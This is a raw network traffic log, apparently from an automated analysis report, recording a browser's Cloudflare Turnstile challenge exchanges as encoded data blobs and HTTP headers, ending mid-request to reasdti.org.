2025-03-21 18:13:23 UTC	1369	IN	Data Raw: 6c 48 70 36 70 5a 68 2b 66 6f 36 63 67 6f 4b 52 6f 49 61 47 6d 4b 53 4b 69 70 61 6f 6a 6f 36 5a 6a 62 36 50 76 33 32 48 6b 70 36 5a 78 38 32 66 75 71 47 6a 71 63 65 4d 71 36 76 4d 74 38 79 7a 6c 62 32 56 6d 38 65 57 71 72 4b 78 33 36 2f 56 33 71 58 68 78 4e 4f 2b 35 65 58 6c 77 63 2f 50 73 4c 4c 57 72 50 66 5a 34 62 66 36 30 4e 48 57 31 4f 6a 74 37 4e 54 75 2b 76 44 59 38 67 50 30 33 50 59 50 2b 4f 44 36 79 2f 7a 6b 2f 74 4d 4f 45 64 62 59 37 75 77 46 30 78 73 51 47 69 41 57 47 4e 2f 6c 4a 68 51 49 4b 52 6f 4a 2b 69 30 65 44 4f 6b 78 49 68 45 70 4e 53 59 55 42 7a 6b 71 46 2f 55 39 4c 68 77 76 4f 67 45 38 2b 76 73 50 49 68 4a 44 4e 6b 56 46 43 67 31 43 43 53 46 4d 54 6b 70 58 4c 45 70 59 49 68 4e 54 47 56 78 53 59 44 5a 67 56 6d 52 51 5a 46 70 6f 5a 47 68 Data Ascii: lHp6pZh+fo6cgoKRoIaGmKSKipaojo6Zjb6Pv32Hkp6Zx82fuqGjqceMq6vMt8yzlb2Vm8eWqrKx36/V3qXhxNO+5eXlwc/PsLLWrPfZ4bf60NHW1Ojt7NTu+vDY8gP03PYP+OD6y/zk/tMOEdbY7uwF0xsQGiAWGN/lJhQIKRoJ+i0eDOkxIhEpNSYUBzkqF/U9LhwvOgE8+vsPIhJDNkVFCg1CCSFMTkpXLEpYIhNTGVxSYDZgVmRQZFpoZGh
2025-03-21 18:13:23 UTC	1369	IN	Data Raw: 36 57 79 6e 37 4f 70 74 34 32 33 72 62 75 6e 75 37 47 2f 75 37 2b 31 78 4a 6e 44 75 63 69 7a 78 37 33 4d 79 4d 48 4c 7a 4d 37 50 78 63 79 47 6b 71 6a 55 6f 72 66 44 32 4b 71 71 31 63 69 75 72 72 37 4d 73 72 4c 42 30 4c 61 32 79 4e 53 36 75 73 62 59 76 72 37 4a 76 65 33 78 37 36 32 33 77 73 6e 4a 39 2f 33 6f 37 66 58 66 38 50 6e 52 33 74 67 47 2f 4e 77 4a 43 65 76 6d 79 51 58 38 37 2b 51 43 42 4f 44 4d 31 75 50 33 45 42 48 6d 2f 4f 2f 5a 36 67 48 30 33 65 34 46 2b 75 48 79 43 51 44 6c 39 67 30 46 37 42 6e 6a 36 50 37 2b 46 44 54 31 4c 7a 4c 35 44 52 34 37 46 44 55 68 4f 52 77 44 45 54 45 31 4b 44 74 44 45 79 78 4b 47 55 64 4f 4c 79 56 53 55 69 46 4d 50 77 39 52 55 52 74 56 4c 56 59 37 53 52 31 41 4f 54 70 61 58 30 52 42 59 69 4d 38 57 44 34 6f 54 32 42 6e Data Ascii: 6Wyn7Opt423rbunu7G/u7+1xJnDucizx73MyMHLzM7PxcyGkqjUorfD2Kqq1ciurr7MsrLB0La2yNS6usbYvr7Jve3x7623wsnJ9/3o7fXf8PnR3tgG/NwJCevmyQX87+QCBODM1uP3EBHm/O/Z6gH03e4F+uHyCQDl9g0F7Bnj6P7+FDT1LzL5DR47FDUhORwDETE1KDtDEyxKGUdOLyVSUiFMPw9RURtVLVY7SR1AOTpaX0RBYiM8WD4oT2Bn
2025-03-21 18:13:23 UTC	1369	IN	Data Raw: 36 78 65 59 79 64 74 33 71 62 6e 62 53 73 6f 36 47 65 77 4b 65 6c 6e 73 53 72 71 61 37 49 72 36 32 61 7a 4c 4f 78 71 4d 33 55 6c 5a 6a 46 75 5a 66 52 32 4a 6d 39 32 64 79 2f 30 61 36 32 74 65 4f 6d 31 2b 4b 38 6e 2b 44 4a 36 72 37 69 73 62 4f 2b 79 4d 58 7a 73 73 6a 75 39 4f 6a 38 33 4d 7a 36 7a 4f 4c 62 30 67 4c 41 32 41 48 41 78 77 48 44 44 65 67 51 43 2f 34 4a 30 65 2f 74 44 2b 51 54 35 50 73 61 36 4f 62 35 45 42 73 4f 47 67 30 69 49 42 4c 67 41 2f 77 71 43 69 73 75 4c 52 45 6c 37 43 6b 67 4a 67 6b 6c 36 6a 51 53 39 52 37 31 2f 43 6b 59 43 78 49 53 51 41 4d 30 50 78 6e 37 50 53 5a 48 46 7a 38 50 4a 52 6f 4c 49 6c 41 50 52 6c 41 57 56 56 77 35 4b 56 63 6f 50 7a 6b 67 4b 7a 35 55 58 31 4a 52 49 30 52 48 58 44 6b 75 51 57 77 70 63 33 4a 4e 64 54 35 58 62 Data Ascii: 6xeYydt3qbnbSso6GewKelnsSrqa7Ir62azLOxqM3UlZjFuZfR2Jm92dy/0a62teOm1+K8n+DJ6r7isbO+yMXzssju9Oj83Mz6zOLb0gLA2AHAxwHDDegQC/4J0e/tD+QT5Psa6Ob5EBsOGg0iIBLgA/wqCisuLREl7CkgJgkl6jQS9R71/CkYCxISQAM0Pxn7PSZHFz8PJRoLIlAPRlAWVVw5KVcoPzkgKz5UX1JRI0RHXDkuQWwpc3JNdT5Xb
2025-03-21 18:13:23 UTC	1369	IN	Data Raw: 2b 77 4c 65 30 65 35 36 46 70 38 53 47 6f 59 6a 49 77 71 43 63 77 71 50 48 71 72 47 64 7a 71 37 4b 30 4b 4f 78 78 4a 6e 64 31 4e 57 79 32 62 72 55 34 70 2b 31 31 39 36 79 79 38 62 6c 34 61 37 73 72 72 72 49 77 2f 58 73 36 72 44 6b 39 73 37 50 35 37 62 62 2f 74 54 50 77 75 48 38 2b 4e 2f 47 31 50 50 79 78 38 6a 62 41 51 50 75 35 77 44 2b 43 39 38 4e 41 75 54 5a 2b 68 45 52 38 74 63 4a 32 74 6f 4d 41 41 4c 66 48 50 59 43 46 67 7a 69 2b 4f 67 58 35 67 38 65 43 79 51 72 4e 6a 49 75 42 66 6b 6d 48 44 6b 6f 4c 42 45 69 4d 53 49 54 48 6a 49 76 2f 68 55 46 4d 77 4d 72 48 30 51 37 53 54 34 68 51 79 4a 52 51 6a 68 56 52 45 67 74 50 6b 30 2b 4c 7a 70 4f 54 52 73 78 49 55 38 66 4e 7a 74 67 57 43 70 64 4c 56 70 6e 51 31 42 54 55 30 6c 73 52 33 6c 59 57 31 6c 38 4e 56 Data Ascii: +wLe0e56Fp8SGoYjIwqCcwqPHqrGdzq7K0KOxxJnd1NWy2brU4p+1196yy8bl4a7srrrIw/Xs6rDk9s7P57bb/tTPwuH8+N/G1PPyx8jbAQPu5wD+C98NAuTZ+hER8tcJ2toMAALfHPYCFgzi+OgX5g8eCyQrNjIuBfkmHDkoLBEiMSITHjIv/hUFMwMrH0Q7ST4hQyJRQjhVREgtPk0+LzpOTRsxIU8fNztgWCpdLVpnQ1BTU0lsR3lYW1l8NV
2025-03-21 18:13:23 UTC	1369	IN	Data Raw: 72 37 43 6d 78 4b 69 7a 6e 5a 36 38 71 6f 6e 51 7a 4c 4c 4c 73 38 54 49 6c 4b 4f 33 30 37 71 7a 74 39 4f 75 33 64 48 56 74 74 6e 61 32 4b 58 70 34 75 50 4b 36 64 6e 51 71 38 72 73 36 4f 76 44 36 4f 72 57 7a 38 66 5a 79 37 6e 61 33 4d 33 61 32 2b 44 33 7a 75 50 69 77 4e 37 7a 37 4d 54 6d 39 2b 37 64 45 65 6e 75 7a 4f 62 74 38 74 44 79 45 50 67 51 38 76 58 2b 37 51 4d 41 41 52 66 6c 41 51 58 32 46 51 6b 4c 2b 51 73 4c 44 4f 67 48 48 52 41 43 42 78 55 5a 38 44 6b 55 47 51 6f 39 4b 42 77 30 47 78 77 68 4f 54 45 6a 4a 42 59 66 4e 43 73 61 48 79 6f 76 48 6c 45 78 4e 51 30 7a 4c 6a 51 6d 4f 7a 51 35 55 43 63 35 4f 78 6c 64 57 45 46 43 59 55 46 45 49 54 74 45 53 57 42 4c 54 45 30 2f 58 56 46 51 55 6c 4e 4f 56 57 78 31 56 31 67 31 65 56 70 68 4f 57 4e 66 59 44 31 Data Ascii: r7CmxKiznZ68qonQzLLLs8TIlKO307qzt9Ou3dHVttna2KXp4uPK6dnQq8rs6OvD6OrWz8fZy7na3M3a2+D3zuPiwN7z7MTm9+7dEenuzObt8tDyEPgQ8vX+7QMAARflAQX2FQkL+QsLDOgHHRACBxUZ8DkUGQo9KBw0GxwhOTEjJBYfNCsaHyovHlExNQ0zLjQmOzQ5UCc5OxldWEFCYUFEITtESWBLTE0/XVFQUlNOVWx1V1g1eVphOWNfYD1

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:24 UTC	638	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/132450000:1742577972:IU7Gl_IiNb9l9P-bT3cbkeDnekT5wbZ34g1OZL0bOSE/923f6c22fa388c73/ZU5.xxhFz5vQEtyIS_BSJPJWIlMcl3xahplA0ZAkHl4-1742580797-1.1.1.1-lkQKINFZdnonMg8lEdtgri0H7VLo4v68q7cq4gUSizoIyK7NQ8otxPuSafYZUAmo HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:13:24 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Fri, 21 Mar 2025 18:13:24 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: U3DEFJCpeOafUt6RERSogsx++cBKVakLXzz7KWdpLqS0laoUtrHG3rDMUZXhqSBD9C2ZEN4JVBC/I1NcffgFrg==$Mupnvi+G9RV2jWDkJZOZhg== Server: cloudflare CF-RAY: 923f6c4b4a4314ed-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:13:24 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:26 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/132450000:1742577972:IU7Gl_IiNb9l9P-bT3cbkeDnekT5wbZ34g1OZL0bOSE/923f6c22fa388c73/ZU5.xxhFz5vQEtyIS_BSJPJWIlMcl3xahplA0ZAkHl4-1742580797-1.1.1.1-lkQKINFZdnonMg8lEdtgri0H7VLo4v68q7cq4gUSizoIyK7NQ8otxPuSafYZUAmo HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 40777 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: ZU5.xxhFz5vQEtyIS_BSJPJWIlMcl3xahplA0ZAkHl4-1742580797-1.1.1.1-lkQKINFZdnonMg8lEdtgri0H7VLo4v68q7cq4gUSizoIyK7NQ8otxPuSafYZUAmo cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/tc1qk/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:13:26 UTC	16384	OUT	Data Raw: 2b 24 31 6e 6f 39 78 74 53 6a 31 69 63 46 2d 78 58 7a 32 42 31 75 54 78 66 7a 56 7a 78 6e 78 45 78 77 7a 38 44 7a 4a 78 33 7a 45 44 55 57 78 56 7a 72 44 56 45 78 5a 55 49 7a 46 41 75 6e 78 69 7a 33 51 47 6e 39 5a 7a 57 36 42 74 44 7a 65 44 78 66 7a 30 43 75 36 75 7a 46 37 53 6a 44 6e 69 53 45 7a 53 77 4d 6e 7a 59 6a 68 4d 24 7a 51 7a 39 53 39 7a 32 77 58 6e 78 59 73 6e 55 2d 49 7a 4e 44 75 66 4f 71 65 78 39 6c 31 7a 51 72 75 46 72 38 30 63 7a 55 43 7a 73 39 62 71 34 38 72 69 7a 6a 4a 71 33 7a 6f 39 31 58 2b 4d 7a 39 72 55 33 6a 71 75 6e 4d 30 31 7a 63 4f 4d 6b 63 37 31 6a 7a 7a 74 7a 44 36 63 72 45 77 49 7a 45 52 58 4d 69 72 36 54 4b 45 73 6f 63 36 74 36 36 34 69 77 47 53 38 59 6b 31 42 72 44 6a 42 32 53 74 75 47 2d 33 6f 41 64 4e 24 72 32 54 38 44 62 34 Data Ascii: +$1no9xtSj1icF-xXz2B1uTxfzVzxnxExwz8DzJx3zEDUWxVzrDVExZUIzFAunxiz3QGn9ZzW6BtDzeDxfz0Cu6uzF7SjDniSEzSwMnzYjhM$zQz9S9z2wXnxYsnU-IzNDufOqex9l1zQruFr80czUCzs9bq48rizjJq3zo91X+Mz9rU3jqunM01zcOMkc71jzztzD6crEwIzERXMir6TKEsoc6t664iwGS8Yk1BrDjB2StuG-3oAdN$r2T8Db4
2025-03-21 18:13:26 UTC	16384	OUT	Data Raw: 2d 4b 6d 68 4e 41 4e 56 4f 75 67 63 67 52 79 35 72 31 45 24 39 4f 72 4a 4c 51 6b 78 48 78 4f 4f 74 36 78 70 6d 7a 55 7a 68 59 73 35 6d 24 78 7a 46 64 6e 67 7a 42 72 69 42 7a 73 48 56 31 69 51 6d 68 7a 33 50 6b 38 78 36 6e 44 67 52 56 6d 6a 67 42 4b 43 5a 35 33 67 57 43 56 77 6d 6d 7a 6a 4b 4f 68 35 31 6e 2b 4b 37 73 6d 2b 67 55 7a 46 6b 35 65 67 45 74 72 77 6e 62 59 44 7a 6a 79 6d 37 67 39 67 36 50 6d 51 67 32 44 75 50 6d 56 67 72 7a 47 4b 35 6a 51 56 49 56 4b 35 79 67 56 67 37 43 39 67 67 7a 2d 55 49 7a 59 7a 24 7a 6a 70 35 74 49 75 36 49 59 6e 51 44 44 31 7a 7a 78 38 42 63 4f 70 6d 38 6d 33 52 78 48 6e 33 7a 64 44 56 49 75 58 44 75 6e 75 70 44 66 67 6a 44 47 70 2b 4f 7a 46 4a 46 4d 53 57 53 30 7a 69 68 41 57 57 51 6a 56 48 78 4e 6e 5a 48 52 33 7a 70 49 Data Ascii: -KmhNANVOugcgRy5r1E$9OrJLQkxHxOOt6xpmzUzhYs5m$xzFdngzBriBzsHV1iQmhz3Pk8x6nDgRVmjgBKCZ53gWCVwmmzjKOh51n+K7sm+gUzFk5egEtrwnbYDzjym7g9g6PmQg2DuPmVgrzGK5jQVIVK5ygVg7C9ggz-UIzYz$zjp5tIu6IYnQDD1zzx8BcOpm8m3RxHn3zdDVIuXDunupDfgjDGp+OzFJFMSWS0zihAWWQjVHxNnZHR3zpI
2025-03-21 18:13:26 UTC	8009	OUT	Data Raw: 39 55 5a 72 44 45 2d 6e 78 35 47 48 7a 79 4a 6c 4c 46 55 37 50 47 6f 30 56 47 44 78 7a 33 62 6c 72 41 58 77 6a 77 7a 56 78 67 42 6e 55 46 6b 42 61 75 79 77 73 4b 42 4f 30 7a 74 68 55 35 43 68 31 62 36 32 2d 67 6d 24 44 78 69 30 6c 4d 51 6e 7a 56 2d 6b 38 2d 41 41 58 63 33 2b 31 65 75 63 75 34 4d 2b 41 58 24 75 6c 51 34 50 7a 36 4e 52 6d 34 46 44 77 37 24 59 47 50 58 78 36 41 63 6a 45 6b 64 64 6b 4d 61 47 70 34 54 58 43 7a 31 50 67 57 35 61 4b 4b 4d 7a 58 66 47 70 39 32 55 71 58 6e 4e 63 37 69 57 44 44 6b 62 54 59 49 66 44 39 52 50 62 49 4a 31 69 44 2d 71 6e 6d 41 52 6d 71 79 31 7a 74 50 49 78 46 74 37 44 78 70 2b 52 49 67 63 7a 48 4c 68 62 4f 51 46 49 64 2d 6c 73 47 2b 47 36 53 4f 34 4d 75 7a 44 49 64 66 44 69 4e 71 34 74 70 4a 59 44 36 5a 42 24 30 31 2d Data Ascii: 9UZrDE-nx5GHzyJlLFU7PGo0VGDxz3blrAXwjwzVxgBnUFkBauywsKBO0zthU5Ch1b62-gm$Dxi0lMQnzV-k8-AAXc3+1eucu4M+AX$ulQ4Pz6NRm4FDw7$YGPXx6AcjEkddkMaGp4TXCz1PgW5aKKMzXfGp92UqXnNc7iWDDkbTYIfD9RPbIJ1iD-qnmARmqy1ztPIxFt7Dxp+RIgczHLhbOQFId-lsG+G6SO4MuzDIdfDiNq4tpJYD6ZB$01-
2025-03-21 18:13:26 UTC	282	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:13:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4856 Connection: close cf-chl-out: K8OugOqJvihUoCFKSsDt/Jsde3y8OQfPdxNXxRaRkX7LsNFYlBlPDcpQwF6BuEtMFbGJfOYGyG6OjYf24NfndLTYjR2X+VH9xYwYEHTYDIQ=$H8y60Yz/5HxJMz+H3Nc+zA==
2025-03-21 18:13:26 UTC	1235	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 35 76 35 31 47 47 45 44 32 53 44 73 64 78 36 55 77 50 66 62 7a 32 37 4e 65 32 6b 4b 4f 4f 34 70 39 4d 66 50 63 48 4e 34 65 51 6f 64 67 66 75 6a 4a 6e 72 61 32 43 66 61 2f 7a 4f 41 78 38 55 59 33 2b 46 4f 32 72 72 43 62 30 61 74 6b 53 71 46 4c 42 66 6d 59 52 38 53 74 39 71 6b 51 33 66 4d 42 49 41 50 43 71 48 30 36 73 64 43 44 75 73 74 65 59 6d 62 37 63 69 46 58 5a 68 37 61 2f 6a 39 41 52 6e 4c 5a 7a 38 62 50 44 2f 67 33 58 38 64 7a 46 4c 58 79 67 34 39 35 30 48 55 33 62 41 59 57 4b 52 69 35 67 73 38 73 65 46 66 4b 49 64 67 6a 74 34 4f 54 49 35 2f 37 6d 55 6b 4d 36 79 67 6e 55 74 32 56 36 37 7a 78 53 6d 55 79 6b 7a 58 68 75 52 2b 69 71 66 62 47 6e 6e 2f 46 6a 77 65 6f 5a 6e 48 79 61 58 46 36 79 4c 2b 4a 34 45 33 4c Data Ascii: cf-chl-out-s: 5v51GGED2SDsdx6UwPfbz27Ne2kKOO4p9MfPcHN4eQodgfujJnra2Cfa/zOAx8UY3+FO2rrCb0atkSqFLBfmYR8St9qkQ3fMBIAPCqH06sdCDusteYmb7ciFXZh7a/j9ARnLZz8bPD/g3X8dzFLXyg4950HU3bAYWKRi5gs8seFfKIdgjt4OTI5/7mUkM6ygnUt2V67zxSmUykzXhuR+iqfbGnn/FjweoZnHyaXF6yL+J4E3L
2025-03-21 18:13:26 UTC	1221	IN	Data Raw: 62 46 79 41 65 30 35 6d 61 4a 47 51 65 6b 79 54 6a 70 46 6d 58 6d 36 63 6f 6e 79 63 6e 5a 4b 62 6c 6e 61 4c 6d 59 4b 73 70 35 6d 69 62 6f 79 51 71 6f 65 71 6a 70 69 45 64 61 4f 39 64 37 61 7a 74 71 43 36 74 37 79 43 73 59 54 41 77 4b 43 69 72 4a 69 46 74 34 66 49 70 4d 33 4a 6b 71 6a 46 79 5a 54 61 79 4c 79 6f 70 73 65 61 73 72 53 32 33 4b 48 45 75 63 53 69 73 75 69 36 36 4b 66 47 36 4f 6d 76 34 65 7a 54 76 76 62 47 39 50 72 5a 39 50 54 49 33 50 66 35 79 2f 48 5a 7a 67 44 66 2b 77 4c 55 34 76 58 4b 44 77 59 48 34 77 76 72 42 73 37 65 30 4f 59 55 7a 50 59 56 46 51 66 32 45 66 50 73 41 68 67 65 41 52 67 66 39 53 50 70 4a 65 50 67 4b 79 77 53 4b 77 6e 2b 4e 4f 2f 7a 4e 6a 50 30 43 69 37 38 51 42 41 35 4f 7a 38 39 2b 67 55 51 46 78 64 46 53 78 34 39 4c 53 45 Data Ascii: bFyAe05maJGQekyTjpFmXm6conycnZKblnaLmYKsp5miboyQqoeqjpiEdaO9d7aztqC6t7yCsYTAwKCirJiFt4fIpM3JkqjFyZTayLyopseasrS23KHEucSisui66KfG6Omv4ezTvvbG9PrZ9PTI3Pf5y/HZzgDf+wLU4vXKDwYH4wvrBs7e0OYUzPYVFQf2EfPsAhgeARgf9SPpJePgKywSKwn+NO/zNjP0Ci78QBA5Oz89+gUQFxdFSx49LSE
2025-03-21 18:13:26 UTC	1369	IN	Data Raw: 42 7a 6a 45 68 67 5a 44 66 73 4b 4a 69 6b 65 44 52 41 55 39 54 59 71 38 79 30 56 4e 41 7a 76 4b 53 6e 39 2f 66 6f 33 4a 68 51 6c 4d 42 74 47 4a 44 77 64 41 45 6b 37 49 7a 41 73 50 69 59 77 4c 6b 41 71 4e 46 59 34 4f 52 42 49 56 31 5a 64 54 55 42 47 52 46 56 5a 58 68 78 46 52 79 63 6d 53 6c 31 44 55 47 39 51 61 45 73 32 55 7a 5a 75 52 47 70 4f 52 33 39 79 55 58 35 73 64 6d 56 39 5a 58 4a 59 51 32 42 39 52 57 42 64 69 49 6c 36 59 6f 46 6d 66 6d 2b 4e 56 57 4e 5a 6c 58 35 57 6e 6f 75 43 64 4a 4f 41 64 49 36 62 6e 33 69 53 67 5a 74 70 66 32 61 6e 70 49 75 78 6f 71 75 71 71 61 75 58 65 72 71 74 6a 6e 65 36 6e 4a 4f 67 6d 37 71 6d 6d 38 69 7a 6d 61 75 30 76 63 43 6b 78 4c 75 65 7a 63 6d 39 6a 37 44 41 78 37 61 6b 71 73 79 59 73 4e 50 4b 31 4e 32 36 30 4e 71 77 Data Ascii: BzjEhgZDfsKJikeDRAU9TYq8y0VNAzvKSn9/fo3JhQlMBtGJDwdAEk7IzAsPiYwLkAqNFY4ORBIV1ZdTUBGRFVZXhxFRycmSl1DUG9QaEs2UzZuRGpOR39yUX5sdmV9ZXJYQ2B9RWBdiIl6YoFmfm+NVWNZlX5WnouCdJOAdI6bn3iSgZtpf2anpIuxoquqqauXerqtjne6nJOgm7qmm8izmau0vcCkxLuezcm9j7DAx7akqsyYsNPK1N260Nqw
2025-03-21 18:13:26 UTC	1369	IN	Data Raw: 6b 4e 49 65 34 4e 41 69 77 75 4d 6a 44 74 39 77 4d 4c 43 6a 67 2b 4b 53 34 32 49 44 45 36 45 68 38 31 49 51 42 46 4b 54 30 4c 4b 52 35 49 53 79 52 4d 43 67 64 4f 46 54 5a 58 4d 53 4d 32 4a 6c 64 4b 57 46 55 55 58 55 35 43 4e 57 42 69 58 6d 74 41 58 69 4e 6e 4f 57 67 6e 4b 47 74 77 4c 58 42 43 64 6b 56 6f 59 7a 5a 6c 64 6e 5a 78 55 54 35 67 51 55 4e 58 52 6f 6c 71 59 55 69 49 53 6f 74 46 54 59 74 6a 67 31 31 6f 54 6b 36 45 61 6c 53 4f 6a 4a 4e 6d 57 31 36 67 6d 6d 47 63 57 31 79 66 70 6f 64 36 64 34 78 39 6e 5a 32 46 69 71 75 76 71 36 32 69 72 36 71 4b 62 4b 71 7a 65 70 69 63 74 6f 2b 79 74 37 79 43 6f 4c 79 2f 68 70 54 43 77 73 57 58 72 63 6e 4c 69 34 76 4d 7a 74 4c 51 6a 6f 76 54 6f 37 7a 4c 76 61 65 37 71 74 75 2f 32 39 33 69 33 4e 65 36 77 4f 58 57 35 Data Ascii: kNIe4NAiwuMjDt9wMLCjg+KS42IDE6Eh81IQBFKT0LKR5ISyRMCgdOFTZXMSM2JldKWFUUXU5CNWBiXmtAXiNnOWgnKGtwLXBCdkVoYzZldnZxUT5gQUNXRolqYUiISotFTYtjg11oTk6EalSOjJNmW16gmmGcW1yfpod6d4x9nZ2Fiquvq62ir6qKbKqzepicto+yt7yCoLy/hpTCwsWXrcnLi4vMztLQjovTo7zLvae7qtu/293i3Ne6wOXW5
2025-03-21 18:13:26 UTC	897	IN	Data Raw: 71 44 7a 63 78 47 6a 58 33 4a 7a 41 2b 4f 54 6b 35 44 78 38 31 2f 6b 49 51 4d 68 73 44 50 53 6c 44 4a 30 38 74 49 51 51 71 51 41 30 67 4d 6b 74 50 56 55 56 4d 47 54 52 59 53 7a 42 5a 50 6c 51 31 57 6c 46 67 53 56 6f 7a 59 6a 31 61 5a 55 78 6a 4d 6c 42 6d 61 30 42 70 62 31 5a 59 62 58 4a 30 54 33 56 7a 64 33 55 35 65 56 64 59 63 48 68 44 50 46 6c 2f 67 31 78 70 66 34 52 36 69 34 42 53 6b 6d 6d 50 55 5a 70 6a 69 31 64 51 64 70 43 58 6d 6e 47 4f 59 47 4f 41 6e 32 53 71 65 36 46 39 69 32 79 6d 70 6e 75 52 6b 4b 74 32 6a 36 57 47 68 4c 57 72 73 33 5a 2b 74 72 61 51 75 71 47 6c 74 71 4c 41 68 5a 75 6b 76 59 65 6b 6f 71 36 4d 30 71 62 4a 74 4b 65 78 7a 71 65 61 74 72 6e 53 76 4c 4c 54 77 73 50 6b 32 63 32 69 6e 39 32 36 78 4f 50 57 7a 73 54 4a 35 75 66 45 78 39 Data Ascii: qDzcxGjX3JzA+OTk5Dx81/kIQMhsDPSlDJ08tIQQqQA0gMktPVUVMGTRYSzBZPlQ1WlFgSVozYj1aZUxjMlBma0Bpb1ZYbXJ0T3Vzd3U5eVdYcHhDPFl/g1xpf4R6i4BSkmmPUZpji1dQdpCXmnGOYGOAn2Sqe6F9i2ympnuRkKt2j6WGhLWrs3Z+traQuqGltqLAhZukvYekoq6M0qbJtKexzqeatrnSvLLTwsPk2c2in926xOPWzsTJ5ufEx9

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:27 UTC	638	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/132450000:1742577972:IU7Gl_IiNb9l9P-bT3cbkeDnekT5wbZ34g1OZL0bOSE/923f6c22fa388c73/ZU5.xxhFz5vQEtyIS_BSJPJWIlMcl3xahplA0ZAkHl4-1742580797-1.1.1.1-lkQKINFZdnonMg8lEdtgri0H7VLo4v68q7cq4gUSizoIyK7NQ8otxPuSafYZUAmo HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:13:27 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Fri, 21 Mar 2025 18:13:27 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: kkBlusmn2KCYEXdJHRYVGtSo2Q6pfRccdBr4AWiVXnSvDUHJY2F4BTOiTC+LDSODpjv8yU/3jrDJEvGkNoKSSA==$TYU1eF0a1pBYfoNkLTXuFQ== Server: cloudflare CF-RAY: 923f6c5d9ea35e6a-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:13:27 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:27 UTC	1712	OUT	GET /?cf-turnstile-response=0.z3amStZR32zF8Aj_ZGDe2s4esdRjBtlXEVXWq4U9kfHeuVjniF2NjSHinnVccOX3Gp5CchSDgH4NxCWste9t-JF60YJLBsRd3vyDkMeXbbyyybay2aiwi0-xgDfezdw-0emPePGYkM-IuV42f64v5o7ZsMOcVhJT-wFZK3leUhumWXEihdeEoOwFYWPw2CDuyja5JVlWqEY3vnqEmFNB2qu0jGkLKILE9v2ARYA38kglNTsWwyYaIzf9qb8Xz8FGnNiwBEXmfaSAahUNZdivaKpcTmYhxCdZFpglw6DVpN7mDyTkRrvs-hvMtiQbvUqt-qj64xcX96reKDw4Z0Ybk70Y4nFEuWuHxvO3UZJt7CocLYsuduXjzVRwg5ScaSKLwQc1UGNarTVIzj5bufpPQC8K0lQ8-TQxB5LHGcW84_UfIizQa1bEDfdvxCOFgvW80nWau9wsvrCnvpijHc5MDmLYhl1jj_bW-dbvd_OlcOTOLNfsMQoRsmqp5BEL49QY5EOp1Ub-bc3l3vJftRxs78iqT9z67IfhRcWH8ZEjKqZ6E5v3PUSOIkmqYi0VigPq60-CQWjx_S9ikf1tXFUja3AW1ttX5psH9HphQ_0MNynMEeLm742wEab2agw-sNDygxHDCsFwC3oXhOl9ELDtOOCPKvlIMyB_gU37t5Y5iCJYgVn2Mphw6tPH8IHzW7eT03RHrsPzkRyqoVpwgGIPBCJM5Eqssa2kWSBBD0FF3pSZmkCkeiXnoivAUGNUymrjbzBUnWzozA8MADGvEVtAqs5elEz1q_hTKNYzq6aKVJ4ktBwAb0KGgRZs8da2SLfQz6oWoeZPyVGS4Jsf266keQ.8Pu2OYpCyqLvTdKm7PCMqA.bcaa90b0ea70a89654b8775b36538485e85c5bceb1a8bd2f226bacff5c3d2538 HTTP/1.1 Host: reasdti.org Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows 